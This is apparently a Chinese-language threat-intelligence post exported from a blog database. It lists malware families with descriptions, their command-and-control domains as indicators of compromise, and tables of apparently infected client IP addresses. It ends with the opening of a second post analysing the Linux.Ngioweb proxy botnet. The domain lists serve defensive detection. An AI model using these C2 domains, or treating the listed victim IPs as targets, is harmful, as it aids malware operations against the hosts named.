NAT\n8\t\t61.181.123.67\t\n8\t\t125.35.211.131\tNAT\n8\t\t123.150.44.3\tNAT\n7\t\t60.29.133.19\tNAT\n6\t\t111.160.80.250\tNAT\n6\t\t111.160.7.62\tNAT\n6\t\t125.36.59.125\tNAT\n6\t\t123.150.44.11\tNAT\n6\t\t218.68.204.18\tNAT\n6\t\t218.69.11.58\tNAT\n5\t\t60.29.64.138\tNAT\n5\t\t123.151.25.136\tNAT\n5\t\t125.37.77.156\tNAT\n5\t\t111.164.183.91\tNAT\n5\t\t111.162.128.53\tNAT\n5\t\t117.11.10.12\tNAT\n5\t\t117.13.140.93\tNAT\n5\t\t60.30.149.98\tNAT\n4\t\t221.196.67.188\tNAT\n4\t\t60.25.179.9\t NAT\n4\t\t60.30.120.132\tNAT\n4\t\t218.68.102.37\tNAT\n4\t\t218.69.61.140\tNAT\n4\t\t218.68.147.61\tNAT\n4\t\t60.28.84.197\tNAT\n4\t\t111.160.240.109\tNAT\n4\t\t60.29.64.139\tNAT\n4\t\t218.68.1.195\tNAT\n3\t\t60.28.101.14\tNAT\n3\t\t111.160.166.189\tNAT\n3\t\t61.181.97.162\tNAT\n3\t\t61.181.112.102\tNAT\n3\t\t60.28.101.103\tNAT\n3\t\t117.9.18.204\tNAT\n3\t\t117.10.138.188\tNAT\n3\t\t218.68.235.209\tNAT\n3\t\t218.69.156.59\tNAT\n3\t\t117.131.135.209\tNAT\n2\t\t60.29.195.26\tNAT\n2\t\t221.197.97.97\t\n2\t\t60.26.78.4\t\n2\t\t218.67.246.54\tNAT\n2\t\t111.160.166.58\tNAT\n2\t\t61.181.103.46\tNAT\n2\t\t60.27.79.17\t NAT\n2\t\t60.30.172.82\tNAT\n2\t\t60.29.153.61\tNAT\n2\t\t60.28.63.85\t NAT\n2\t\t60.29.158.138\tNAT\n2\t\t60.30.42.78\t NAT\n2\t\t111.163.122.136\tNAT\n2\t\t111.30.78.46\tNAT\n2\t\t60.30.33.70\t\n2\t\t221.197.220.35\tNAT\n2\t\t60.28.41.18\t NAT\n2\t\t111.30.101.238\tNAT\n2\t\t60.29.153.45\tNAT\n2\t\t60.29.179.118\tNAT\n2\t\t117.9.199.42\tNAT\n2\t\t123.150.44.9\tNAT\n2\t\t60.28.104.118\tNAT\n2\t\t111.160.70.46\tNAT\n2\t\t61.181.107.107\tNAT\n1\t\t111.162.215.164\tNAT\n1\t\t111.162.68.202\tNAT\n1\t\t103.233.4.30\tNAT\n1\t\t218.69.25.110\tNAT\n1\t\t60.29.153.43\tNAT\n1\t\t221.196.108.202\tNAT\n1\t\t60.30.149.10\tNAT\n1\t\t117.131.245.101\tNAT\n1\t\t111.33.17.70\tNAT\n1\t\t61.181.5.114\tNAT\n1\t\t117.13.72.198\tNAT\n1\t\t60.30.177.62\tNAT\n1\t\t211.94.248.30\tNAT\n1\t\t125.38.179.109\tNAT\n1\t\t221.196.108.163\tNAT\n1\t\t218.68.159.45\tNAT\n1\t\t60.29.4.206\t NAT\n1\t\t111.160.49.188\tNAT\n1\t\t111.160.49.186\t\n1\t\t117.11.117.118\tNAT\n1\t\t111.162.201.182\tNAT\n1\t\t218.68.105.125\tNAT\n1\t\t111.162.219.115\tNAT\n1\t\t218.68.204.86\tNAT\n1\t\t60.30.155.10\tNAT\n1\t\t221.239.89.186\tNAT\n1\t\t111.164.40.153\tNAT\n1\t\t60.29.154.210\tNAT\n1\t\t61.181.15.212\tNAT\n1\t\t111.163.141.224\tNAT\n1\t\t60.28.114.2\t NAT\n1\t\t60.29.77.202\tNAT\n1\t\t221.239.26.30\tNAT\n1\t\t111.160.242.66\tNAT\n1\t\t60.30.162.14\t\n1\t\t103.233.4.29\tNAT\n1\t\t111.166.50.41\tNAT\n1\t\t111.166.87.206\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.wannacry\n\n一种“蠕虫式”的勒索病毒软件，由不法分子利用NSA（National Security Agency，美国国家安全局）泄露的危险漏洞“EternalBlue”（永恒之蓝）进行传播。被该勒索软件入侵后，用户主机系统内的照片、图片、文档、音频、视频等几乎所有类型的文件都将被加密，加密文件的后缀名被统一修改为 WNCRY。\n\n##### IOCs\n\n```\nwww.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com\nwww.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com\n```\n\n##### Clients\n```\nCount Client TAGS\n104\t\t60.30.147.86\t\n8\t\t125.35.211.131\tNAT\n3\t\t111.164.183.91\tNAT\n2\t\t221.238.232.218\tNAT\n2\t\t111.160.40.106\tNAT\n1\t\t60.29.64.22\t NAT\n1\t\t61.181.70.210\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.sality\n\n一款多态感染性病毒，一旦被他们感染，电脑上大部分文件都会被感染成病毒文件。\n\n##### IOCs\n\n```\nvancityprinters.com\n724hizmetgrup.com\nvinasonthanh.com\naffiliate.free.rongrean.com\namsamex.com\nzanzoul.aya.com.sy\nbbeakemegood24.com\nchicostara.com\nwww.ceylanogullari.com\nfamily-international.de\nyavuztuncil.ya.funpic.de\npelcpawel.fm.interia.pl\nwww.liongrup.com\nbazyar-arya.com\naocuoikhanhlinh.vn\nohne-steuer.de\ncevatpasa.com\njrsx.jre.net.cn\nreliancepublications.co.in\nbem.dk\narthur.niria.biz\nlpbmx.ru\nbanboon.com\nankara-cambalkon.net\ndewpoint-eg.com\ntwilight-duo.com\nwww.bluecubecreatives.com\napple-pie.in\nahmediye.net\nabpowqbvcfds677.info\nwww.unigas.mn\nwww.vancityprinters.com\nkuplu.bel.tr\n```\n\n##### Clients\n```\nCount Client TAGS\n108\t\t111.160.182.10\tNAT\n20\t\t117.9.152.25\tNAT\n13\t\t60.27.193.240\tNAT\n12\t\t125.36.117.141\tNAT\n8\t\t60.29.43.82\t NAT\n7\t\t218.68.102.172\tNAT\n6\t\t218.69.108.45\tNAT\n6\t\t60.28.250.46\tIDC\n6\t\t60.25.253.157\tNAT\n4\t\t219.150.87.130\tNAT\n4\t\t111.160.92.74\tNAT\n4\t\t221.197.156.59\tNAT\n4\t\t221.239.124.90\tNAT\n3\t\t117.9.228.28\tNAT\n3\t\t218.69.11.58\tNAT\n3\t\t117.12.17.73\tNAT\n3\t\t123.151.34.82\tNAT\n2\t\t61.181.63.26\tNAT\n2\t\t111.167.244.137\tNAT\n2\t\t117.11.239.126\tNAT\n2\t\t60.28.101.104\tNAT\n2\t\t60.30.69.36\t NAT\n1\t\t117.12.197.138\tNAT\n1\t\t218.68.6.194\tNAT\n1\t\t117.15.191.13\tNAT\n1\t\t61.181.63.138\tNAT\n1\t\t111.163.145.187\tNAT\n1\t\t111.33.56.2\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.dofloo\n\ndofloo又名AES.DDOS，针对Linux设备，已经发现的变种主要感染运行x86和ARM CPU的设备。dofloo 支持SYN/TCP/UDP/DNS/HTTP等多种flood攻击。\n\n##### IOCs\n\n```\nwww.santananb.info\n```\n\n##### Clients\n```\nCount Client TAGS\n1\t\t60.30.172.82\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.artemis\n\nartemis家族针对windows系统，用于DDoS攻击，支持UDP/TCP/DNS/HTTP 4种攻击方式。 \n\n##### IOCs\n\n```\nlang12397007.3322.org\nscrk.3322.org\nrat2.100geili.com\nliyongyong88.3322.org\nfei9988.3322.org\ndoss456.3322.org\nmeihaoddos.3322.org\ndingtao333.3322.org\nrat3.100geili.com\n```\n\n##### Clients\n```\nCount Client TAGS\n51\t\t117.9.146.131\tNAT\n45\t\t117.11.147.243\tNAT\n44\t\t111.160.156.10\tNAT\n41\t\t117.9.64.214\tNAT\n40\t\t111.163.123.186\tNAT\n35\t\t125.36.119.78\tNAT\n18\t\t117.10.53.124\tNAT\n15\t\t125.37.188.225\tNAT\n15\t\t117.13.192.248\tNAT\n15\t\t218.67.254.131\tNAT\n12\t\t218.68.190.107\tNAT\n11\t\t117.15.6.163\tNAT\n11\t\t125.36.80.149\tNAT\n10\t\t218.67.145.251\tNAT\n9\t\t60.28.101.104\tNAT\n8\t\t117.9.158.203\tNAT\n8\t\t111.160.132.158\tNAT\n7\t\t111.163.22.135\tNAT\n6\t\t111.161.188.102\tNAT\n5\t\t221.196.205.193\tNAT\n4\t\t60.26.102.238\tNAT\n4\t\t125.37.189.211\tNAT\n4\t\t218.69.102.106\tNAT\n4\t\t60.28.101.103\tNAT\n4\t\t111.167.180.105\tNAT\n3\t\t218.67.165.2\tNAT\n3\t\t125.38.137.250\tNAT\n2\t\t221.198.67.125\tNAT\n2\t\t60.28.101.105\tNAT\n2\t\t221.196.61.39\tNAT\n1\t\t60.29.38.118\tNAT\n1\t\t221.197.255.115\tNAT\n1\t\t111.163.90.226\tNAT\n1\t\t117.9.238.225\tNAT\n1\t\t218.68.45.180\tNAT\n1\t\t221.197.8.155\t\n```\n\n\n</br>\n\n\n\n#### Malware.unknown\n\n一部分我们正在跟踪的明确恶意但未归类的汇总\n\n##### IOCs\n\n```\npccp.youdns17.com\nlp.beahh.com\nv.beahh.com\nii.ackng.com\nhealthdevicetracker.com\nlp.haqo.net\nsuoye1.eatuo.com\noxy.imbceon.com\ncake.pilutce.com\nwqerveybrstyhcerveantbe.com\nworkforce.ignorelist.com\nghoost-souf.no-ip.org\ndown.wmwky.tw\nwww.santananb.info\ndoc.to0ls.com\njltx131.cc\nbooomaahuuoooapl.ru\nhewle.kielsoservice.net\nwys810302.f3322.net\nwww3.cedesunjerinkas.com\n2.dfdf332.com\nmdzz2019.noip.cn\nspring.tulipnetworks.net\naj1732.online\nii.haqo.net\nsuoye1.f3322.net\nnevernews.club\nwww2.cedesunjerinkas.com\nlp.abbny.com\nbooomaahuuoooapl.in\nyzzweb.f3322.net\nalmasoodgroup.com\nmaeobnaoefhgoajo.com\nfiaoiaegiieogjjed.ru\n5123.2288.org\napi.dfdf332.com\n3600hk.no-ip.org\ni.haqo.net\neu.dspmulti.com\nfget-career.com\nwww4.cedesunjerinkas.com\njohnhop77.ddns.net\naroundtheworld123.net\ntwangzhan.website\nsrgsiuhedufiusfo.ru\niim.ackng.com\nuaeihefiuaefhuhe.ru\n9.zxzx776.com\nxsdf3f.com\nw.beahh.com\ndownload.pofenglun.cn\nmage.ignorelist.com\npall.ndypkh.com\ndown.qwpkk.tw\naeiziaezieidiebg.biz\nzergbase.mooo.com\ncnc.stresser.pw\naaaaaaaaaa.re67das.com\n```\n\n##### Clients\n```\nCount Client TAGS\n1137\t60.28.104.130\tNAT\n1020\t60.30.186.26\tNAT\n988\t\t117.12.96.213\tNAT\n718\t\t218.68.105.24\tNAT\n596\t\t60.28.47.90\t NAT\n352\t\t61.240.6.210\tNAT\n310\t\t121.193.161.217\tNAT\n261\t\t111.160.132.158\tNAT\n238\t\t61.181.252.146\tNAT\n221\t\t221.197.56.106\tNAT\n176\t\t60.30.199.26\tNAT\n145\t\t111.160.201.202\t\n133\t\t60.29.153.61\tNAT\n86\t\t60.30.149.10\tNAT\n79\t\t125.36.152.117\tNAT\n77\t\t117.12.134.159\tNAT\n55\t\t218.69.234.252\tNAT\n39\t\t221.197.29.110\tNAT\n38\t\t218.67.233.191\tNAT\n37\t\t117.11.225.137\tNAT\n36\t\t111.165.96.157\tNAT\n34\t\t61.181.108.2\tNAT\n33\t\t111.162.219.197\tNAT\n32\t\t60.28.156.216\t\n32\t\t117.12.1.165\tNAT\n31\t\t117.8.100.206\tNAT\n31\t\t111.164.235.52\tNAT\n31\t\t218.67.255.90\tNAT\n31\t\t117.9.17.157\tNAT\n30\t\t125.38.176.114\tNAT\n30\t\t218.68.200.50\tNAT\n30\t\t60.29.18.14\t NAT\n30\t\t117.131.173.16\tNAT\n30\t\t221.197.12.90\tNAT\n29\t\t218.68.190.43\tNAT\n29\t\t180.213.5.10\tNAT\n27\t\t60.29.37.38\t NAT\n25\t\t221.196.119.133\tNAT\n25\t\t111.160.91.94\tNAT\n25\t\t117.9.91.224\tNAT\n24\t\t60.28.38.14\t NAT\n24\t\t111.164.235.232\tNAT\n23\t\t60.30.130.126\tNAT\n20\t\t111.30.30.18\tNAT\n20\t\t221.197.94.180\tNAT\n19\t\t60.29.64.22 \tNAT\n19\t\t111.165.24.101\tNAT\n18\t\t117.13.128.209\t\n18\t\t125.37.182.24\tNAT\n17\t\t117.11.147.153\tNAT\n16\t\t60.28.101.104\tNAT\n16\t\t111.164.20.30\tNAT\n15\t\t60.30.4.11\t\n15\t\t218.69.11.58\tNAT\n14\t\t60.28.101.103\tNAT\n14\t\t117.9.16.229\tNAT\n14\t\t218.69.133.37\tNAT\n14\t\t221.239.93.251\t\n13\t\t60.29.133.19\tNAT\n13\t\t60.29.208.115\t\n13\t\t60.28.250.40\tIDC\n13\t\t60.29.22.98\t NAT\n12\t\t60.28.108.21\tNAT\n12\t\t117.9.18.246\tNAT\n12\t\t218.69.90.46\tNAT\n12\t\t60.25.11.13\t NAT\n11\t\t111.160.156.10\tNAT\n11\t\t221.196.149.170\tNAT\n10\t\t60.29.89.34\t NAT\n10\t\t60.29.70.132\t\n10\t\t218.68.224.88\tNAT\n10\t\t117.13.157.191\tNAT\n10\t\t60.29.31.98\t NAT\n10\t\t60.24.140.80\tNAT\n10\t\t221.238.238.234\tNAT\n10\t\t60.29.90.230\tNAT\n9\t\t60.30.164.26\tNAT\n9\t\t60.25.251.11\tNAT\n9\t\t218.68.158.40\tNAT\n9\t\t60.26.101.13\tNAT\n8\t\t111.160.87.122\tNAT\n8\t\t218.68.107.240\tNAT\n8\t\t218.68.233.132\tNAT\n8\t\t111.164.183.91\tNAT\n8\t\t221.197.139.99\tNAT\n8\t\t221.197.122.193\tNAT\n7\t\t60.30.105.50\tNAT\n7\t\t117.9.93.13\t NAT\n7\t\t117.11.218.223\tNAT\n7\t\t61.181.143.34\tNAT\n7\t\t60.28.41.18\t NAT\n7\t\t60.24.189.172\tNAT\n7\t\t218.68.5.141\tNAT\n7\t\t221.196.108.115\tNAT\n7\t\t61.181.70.210\tNAT\n7\t\t111.30.35.142\tNAT\n6\t\t60.28.101.105\tNAT\n6\t\t221.198.66.44\tNAT\n6\t\t111.162.212.244\tNAT\n6\t\t111.160.233.182\tNAT\n6\t\t60.24.143.117\tNAT\n6\t\t117.9.90.145\tNAT\n6\t\t103.233.5.254\tNAT\n6\t\t218.69.129.222\tNAT\n6\t\t221.196.180.62\tNAT\n6\t\t125.38.176.178\tNAT\n6\t\t60.26.225.158\tNAT\n6\t\t60.27.31.62\t NAT\n6\t\t218.68.234.159\tNAT\n6\t\t117.11.153.212\tNAT\n5\t\t60.30.208.226\tNAT\n5\t\t125.36.153.16\tNAT\n5\t\t111.162.149.78\tNAT\n5\t\t111.163.158.181\tNAT\n5\t\t218.69.226.106\tNAT\n5\t\t60.27.79.149\tNAT\n5\t\t221.198.170.164\tNAT\n5\t\t211.94.243.185\tNAT\n5\t\t117.9.18.2\t NAT\n5\t\t106.47.29.70\tNAT\n5\t\t125.37.29.120\tNAT\n5\t\t60.29.145.254\tNAT\n5\t\t218.68.0.6\t NAT\n5\t\t117.10.62.226\tNAT\n5\t\t117.12.202.189\tNAT\n5\t\t111.160.246.140\tNAT\n5\t\t61.181.74.42\tNAT\n5\t\t218.69.55.166\tNAT\n5\t\t218.69.54.167\tNAT\n5\t\t218.68.6.50\t NAT\n5\t\t117.13.115.123\tNAT\n4\t\t211.94.254.85\tNAT\n4\t\t60.24.90.226\tNAT\n4\t\t60.26.4.19\t NAT\n4\t\t60.28.101.106\tNAT\n4\t\t221.198.238.209\tNAT\n4\t\t111.166.237.230\tNAT\n4\t\t125.36.255.122\tNAT\n4\t\t218.68.105.7\tNAT\n4\t\t117.9.237.225\tNAT\n4\t\t61.181.103.138\tNAT\n4\t\t218.68.229.81\tNAT\n4\t\t61.181.140.42\tNAT\n4\t\t218.69.6.74\t NAT\n4\t\t111.160.120.54\tNAT\n4\t\t60.29.93.221\tNAT\n4\t\t218.69.91.84\t\n4\t\t125.37.29.23\tNAT\n4\t\t60.24.184.70\tNAT\n4\t\t221.196.46.61\tNAT\n4\t\t117.14.119.35\tNAT\n4\t\t60.26.203.160\tNAT\n4\t\t111.163.123.7\tNAT\n4\t\t111.161.158.131\tNAT\n4\t\t111.33.17.70\tNAT\n4\t\t111.160.230.18\tNAT\n4\t\t60.27.31.0\t NAT\n4\t\t117.12.37.223\tNAT\n4\t\t117.15.93.189\tNAT\n4\t\t117.10.124.4\tNAT\n4\t\t60.24.233.164\tNAT\n4\t\t60.28.84.197\tNAT\n4\t\t218.68.200.243\tNAT\n4\t\t218.68.219.29\tNAT\n4\t\t221.198.86.145\tNAT\n4\t\t218.69.18.147\tNAT\n4\t\t111.164.233.130\tNAT\n4\t\t111.163.143.228\tNAT\n4\t\t60.25.148.35\tNAT\n4\t\t117.15.125.181\tNAT\n4\t\t218.67.234.60\tNAT\n4\t\t125.38.176.229\tNAT\n4\t\t60.30.92.74\t NAT\n4\t\t117.11.10.12\tNAT\n4\t\t111.160.91.250\tNAT\n3\t\t60.24.45.218\tNAT\n3\t\t60.29.154.226\tNAT\n3\t\t111.163.144.224\tNAT\n3\t\t111.161.150.34\tNAT\n3\t\t111.160.166.58\tNAT\n3\t\t111.162.163.231\tNAT\n3\t\t125.37.182.99\tNAT\n3\t\t60.29.16.94\t NAT\n3\t\t111.163.120.92\tNAT\n3\t\t221.198.67.88\tNAT\n3\t\t117.15.192.231\tNAT\n3\t\t117.10.138.46\tNAT\n3\t\t218.69.95.90\tNAT\n3\t\t60.27.60.159\tNAT\n3\t\t117.13.168.162\tNAT\n3\t\t117.13.106.191\tNAT\n3\t\t60.29.15.2\t NAT\n3\t\t111.165.11.60\tNAT\n3\t\t60.30.193.162\tNAT\n3\t\t60.29.43.46\t NAT\n3\t\t117.12.146.72\tNAT\n3\t\t43.249.136.20\tNAT\n3\t\t111.165.188.122\tNAT\n3\t\t221.196.152.151\tNAT\n3\t\t111.163.144.67\tNAT\n3\t\t60.26.142.193\tNAT\n3\t\t60.29.63.18\t NAT\n3\t\t111.160.80.3\tNAT\n3\t\t117.13.140.5\tNAT\n3\t\t117.10.236.245\tNAT\n3\t\t211.94.243.121\tNAT\n3\t\t111.165.105.247\tNAT\n3\t\t61.181.219.120\tNAT\n3\t\t123.151.34.82\tNAT\n3\t\t111.166.238.248\tNAT\n3\t\t202.99.106.47\tNAT\n3\t\t221.197.179.98\tNAT\n3\t\t211.94.226.74\tNAT\n3\t\t60.26.239.60\tNAT\n3\t\t117.9.191.22\tNAT\n3\t\t117.14.66.156\tNAT\n3\t\t61.181.202.5\t\n3\t\t218.69.78.253\tNAT\n3\t\t218.69.52.252\tNAT\n3\t\t221.196.97.11\tNAT\n3\t\t218.67.181.124\tNAT\n2\t\t221.196.194.253\tNAT\n2\t\t218.68.102.247\tNAT\n2\t\t111.165.128.30\tNAT\n2\t\t60.26.132.173\tNAT\n2\t\t125.35.249.1\tNAT\n2\t\t221.197.139.235\tNAT\n2\t\t117.15.22.130\tNAT\n2\t\t60.29.179.114\tNAT\n2\t\t221.198.80.189\t\n2\t\t111.162.216.127\tNAT\n2\t\t221.197.54.42\tNAT\n2\t\t221.197.97.39\tNAT\n2\t\t117.13.244.21\tNAT\n2\t\t111.160.198.83\tNAT\n2\t\t103.233.6.2\t\n2\t\t60.27.189.44\tNAT\n2\t\t111.160.166.189\tNAT\n2\t\t125.36.59.125\tNAT\n2\t\t211.94.248.28\tNAT\n2\t\t218.69.55.247\tNAT\n2\t\t111.160.166.206\tNAT\n2\t\t125.36.101.224\tNAT\n2\t\t111.165.56.53\tNAT\n2\t\t61.181.65.154\tNAT\n2\t\t61.181.109.234\tNAT\n2\t\t117.9.199.42\tNAT\n2\t\t221.197.133.137\tNAT\n2\t\t218.68.102.58\tNAT\n2\t\t125.37.217.118\tNAT\n2\t\t221.196.97.36\tNAT\n2\t\t61.181.103.46\tNAT\n2\t\t60.27.119.49\t\n2\t\t117.12.133.191\tNAT\n2\t\t221.198.64.35\tNAT\n2\t\t125.37.191.155\tNAT\n2\t\t221.198.60.201\tNAT\n2\t\t111.162.147.134\tNAT\n2\t\t60.25.179.50\tNAT\n2\t\t61.181.63.138\tNAT\n2\t\t60.24.127.98\tNAT\n2\t\t61.181.24.234\tNAT\n2\t\t125.37.212.67\tNAT\n2\t\t111.167.149.238\tNAT\n2\t\t221.197.154.147\tNAT\n2\t\t117.10.28.225\tNAT\n2\t\t60.30.149.102\tNAT\n2\t\t60.30.105.33\tNAT\n2\t\t111.160.97.18\tNAT\n2\t\t125.37.202.10\tNAT\n2\t\t117.9.18.201\tNAT\n2\t\t117.14.151.96\tNAT\n2\t\t60.30.156.190\tNAT\n2\t\t111.167.17.208\tNAT\n2\t\t117.15.90.239\tNAT\n2\t\t111.162.151.214\tNAT\n2\t\t111.162.154.253\tNAT\n2\t\t61.181.49.105\tNAT\n2\t\t218.68.224.39\tNAT\n2\t\t60.27.138.17\tNAT\n2\t\t117.9.70.23\t NAT\n2\t\t221.196.180.242\tNAT\n2\t\t117.12.125.160\tNAT\n2\t\t111.162.157.177\t\n2\t\t218.68.107.108\tNAT\n2\t\t218.69.129.94\tNAT\n2\t\t111.167.46.70\tNAT\n2\t\t117.15.90.205\tNAT\n2\t\t103.233.4.26\tNAT\n1\t\t60.24.89.15\t NAT\n1\t\t218.69.55.60\tNAT\n1\t\t117.11.239.56\tNAT\n1\t\t111.163.140.152\tNAT\n1\t\t111.160.108.34\tNAT\n1\t\t60.29.140.66\tNAT\n1\t\t202.99.69.243\t\n1\t\t221.196.194.2\tNAT\n1\t\t60.27.42.62\t NAT\n1\t\t60.24.188.12\tNAT\n1\t\t117.8.101.63\tNAT\n1\t\t218.69.147.133\tNAT\n1\t\t111.163.22.227\tNAT\n1\t\t111.160.118.230\tNAT\n1\t\t111.167.144.199\tNAT\n1\t\t60.29.154.210\tNAT\n1\t\t221.196.227.20\tNAT\n1\t\t60.28.38.18\t NAT\n1\t\t60.29.77.203\tNAT\n1\t\t60.29.153.45\tNAT\n1\t\t125.38.191.184\tNAT\n1\t\t221.198.236.232\tNAT\n1\t\t60.25.10.147\tNAT\n1\t\t111.164.209.21\tNAT\n1\t\t218.67.254.17\tNAT\n1\t\t60.30.180.150\tNAT\n1\t\t111.160.70.203\tNAT\n1\t\t111.160.70.201\tNAT\n1\t\t60.29.116.18\tNAT\n1\t\t60.30.215.242\tNAT\n1\t\t111.162.152.192\tNAT\n1\t\t60.29.95.82\t NAT\n1\t\t111.160.166.186\tNAT\n1\t\t117.9.229.148\tNAT\n1\t\t61.181.60.34\tNAT\n1\t\t221.198.118.158\tNAT\n1\t\t60.28.135.3\t NAT\n1\t\t60.25.63.52\t NAT\n1\t\t111.160.97.42\tNAT\n1\t\t117.12.144.7\tNAT\n1\t\t111.162.221.168\tNAT\n1\t\t221.198.110.209\tNAT\n1\t\t61.181.83.10\tNAT\n1\t\t221.197.84.199\tNAT\n1\t\t60.29.179.42\tNAT\n1\t\t60.29.77.194\tNAT\n1\t\t60.27.174.82\tNAT\n1\t\t111.166.156.237\tNAT\n1\t\t60.29.30.190\tNAT\n1\t\t117.12.133.124\tNAT\n1\t\t117.13.140.144\tNAT\n1\t\t218.69.243.164\tNAT\n1\t\t218.69.11.110\tNAT\n1\t\t111.165.133.156\tNAT\n1\t\t111.162.163.241\tNAT\n1\t\t221.197.252.248\tNAT\n1\t\t60.28.250.46\tIDC\n1\t\t60.27.133.165\tNAT\n1\t\t111.167.211.108\tNAT\n1\t\t111.160.70.204\tNAT\n1\t\t60.30.240.226\tNAT\n1\t\t221.197.29.195\tNAT\n1\t\t125.36.145.207\tNAT\n1\t\t60.27.79.17\t NAT\n1\t\t125.37.125.3\tNAT\n1\t\t60.30.172.82\tNAT\n1\t\t117.131.145.156\tNAT\n1\t\t111.30.85.18\tNAT\n1\t\t221.198.218.112\tNAT\n1\t\t117.14.13.25\tNAT\n1\t\t117.14.70.156\tNAT\n1\t\t111.163.143.193\tNAT\n1\t\t111.160.216.87\tNAT\n1\t\t60.28.101.126\tNAT\n1\t\t60.29.185.242\tNAT\n1\t\t111.163.78.80\tNAT\n1\t\t125.37.182.185\tNAT\n1\t\t117.15.191.57\tNAT\n1\t\t111.160.104.66\tNAT\n1\t\t221.197.162.54\tNAT\n1\t\t211.94.242.118\tNAT\n1\t\t125.37.162.103\tNAT\n1\t\t117.8.100.70\tNAT\n1\t\t117.15.214.65\tNAT\n1\t\t125.38.177.138\tNAT\n1\t\t60.30.204.26\tNAT\n1\t\t60.27.205.187\tNAT\n1\t\t117.12.158.82\tNAT\n1\t\t60.26.180.205\tNAT\n1\t\t111.165.72.25\tNAT\n1\t\t61.181.125.37\tNAT\n1\t\t60.29.0.101\t NAT\n1\t\t60.25.16.184\tNAT\n1\t\t111.30.78.46\tNAT\n1\t\t111.160.40.106\tNAT\n1\t\t117.15.138.221\tNAT\n1\t\t111.161.189.215\tNAT\n1\t\t111.160.80.250\tNAT\n1\t\t103.233.4.29\tNAT\n1\t\t221.239.72.170\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.bondat\n\n利用受害机器资源 进行门罗币挖矿，并组建一个攻击WordPress站点的僵尸网络。\n\n##### IOCs\n\n```\nurchintelemetry.com\n```\n\n##### Clients\n```\nCount Client TAGS\n8\t\t117.9.92.217\tNAT\n2\t\t60.30.105.33\tNAT\n2\t\t61.181.88.218\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.storm\n\n针对Windows平台的DDoS类型的botnet家族。\n\n##### IOCs\n\n```\nwww.mojimojimojimoji.com\nwww.ody.cc\nimddos.my03.com\n```\n\n##### Clients\n```\nCount Client TAGS\n432\t\t125.36.152.117\tNAT\n425\t\t111.160.156.10\tNAT\n315\t\t61.181.252.146\tNAT\n34\t\t111.160.182.10\tNAT\n19\t\t111.160.132.158\tNAT\n11\t\t218.68.105.191\tNAT\n10\t\t117.15.53.253\tNAT\n8\t\t218.68.228.63\tNAT\n8\t\t60.27.104.153\tNAT\n7\t\t117.13.140.144\tNAT\n5\t\t61.181.125.37\tNAT\n5\t\t60.28.101.104\tNAT\n4\t\t221.198.64.35\tNAT\n3\t\t111.163.12.68\tNAT\n2\t\t117.11.239.138\tNAT\n2\t\t111.164.47.25\t\n2\t\t125.37.162.103\tNAT\n2\t\t117.9.90.137\tNAT\n1\t\t111.162.102.7\tNAT\n1\t\t60.24.244.41\tNAT\n1\t\t61.240.5.226\tNAT\n1\t\t111.162.12.44\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.Morto\n\n一款蠕虫病毒，通过爆破内网、外网主机的RDP密码，登陆到受害主机，进行自我复制并运行，来实现病毒的传播。\n\n##### IOCs\n\n```\nms.jifr.net\nms.jifr.co.cc\nms.jifr.co.be\ndos1.jifr.net\nms.jifr.info\nflt1.jifr.net\n```\n\n##### Clients\n```\nCount Client TAGS\n506\t\t218.69.16.26\tNAT\n241\t\t60.29.174.70\tNAT\n219\t\t60.29.173.226\tNAT\n194\t\t60.24.189.11\tNAT\n162\t\t60.30.57.29\t NAT\n106\t\t111.164.41.211\tNAT\n75\t\t117.131.175.138\tNAT\n69\t\t111.160.186.146\tNAT\n45\t\t218.68.156.51\tNAT\n27\t\t125.36.228.182\tNAT\n20\t\t125.36.228.187\tNAT\n16\t\t125.36.228.184\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.Mylobot\n\nmylobot是针对Windows的malware，属于downloader类型，用于在感染机器上下载和安装其它的malware。\n\n##### IOCs\n\n```\nm16.pseyumd.ru\nm11.pseyumd.ru\nm25.oxduwil.com\nm20.oxduwil.com\nm0.fnjxpwy.com\nm32.oqemwbj.in\nv2.otwzgnl.ru\nm0.zqfqjwd.biz\nm34.oxduwil.com\nm34.oqemwbj.in\nm28.oqemwbj.in\nm16.oqemwbj.in\nv2.baidupic.net\n```\n\n##### Clients\n```\nCount Client TAGS\n12\t\t60.28.101.104\tNAT\n4\t\t60.28.101.103\tNAT\n2\t\t60.25.16.92\t NAT\n1\t\t117.11.239.72\tNAT\n1\t\t60.28.101.105\tNAT\n```\n\n\n</br>\n\n\n### 未知恶意\n\n基于360安全大脑的云端数据，我们DNSMon系统会实时监测各种未知的恶意和高度可疑的域名，包括各种未知APT和Botnet等等，这些被归为 DNSMon.gray 以及 DNSMon.black 类别。\n\n由于客户端数据太大，且具体的恶意行为需要其他维度数据关联分析，在此暂时不展开。\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5d0a32ba0bbc140007c57a9a |
post | null | 2019-06-21T04:50:07.000Z | 63873b9a8b1c1e0007f52f4e | an-analysis-of-linux-ngioweb-botnet | 0 | 2022-02-09T07:12:13.000Z | public | published | null | 2019-06-21T10:46:00.000Z | Linux.Ngioweb分析报告 | <!--kg-card-begin: markdown--><h3 id="">背景介绍</h3>
<p>2019年5月27号，360Netlab 未知威胁检测系统发现一个可疑的ELF文件，目前仅有一款杀毒引擎检测识别。通过详细分析，我们确定这是一款Proxy Botnet，并且是Win32.Ngioweb[<a href="https://research.checkpoint.com/ramnits-network-proxy-servers/">1]</a>恶意软件的Linux版本变种，我们将它命名为Linux.Ngioweb。它与Win32.Ngioweb共用了大量代码，不同的是它新增了DGA特性。我们注册了其中一个DGA C2域名(enutofish-pronadimoful-multihitision.org)，并对它进行Sinkhole处理以此来观察Bot连接情况。</p>
<p>此外，我们还观察到大量部署WordPress的Web服务器被植入Linux.Ngioweb 恶意软件。尽管Bot程序由Web容器对应的用户组运行并且权限很小但还是能够正常工作，并被充当Rotating Reverse Proxy[<a href="https://stormproxies.com/rotating_reverse_proxies.html">2]</a>节点。</p>
<p>目前，我们还没有看清楚Linux.Ngioweb攻击者的目的，但我们猜测他可能会监听代理网络流量。</p>
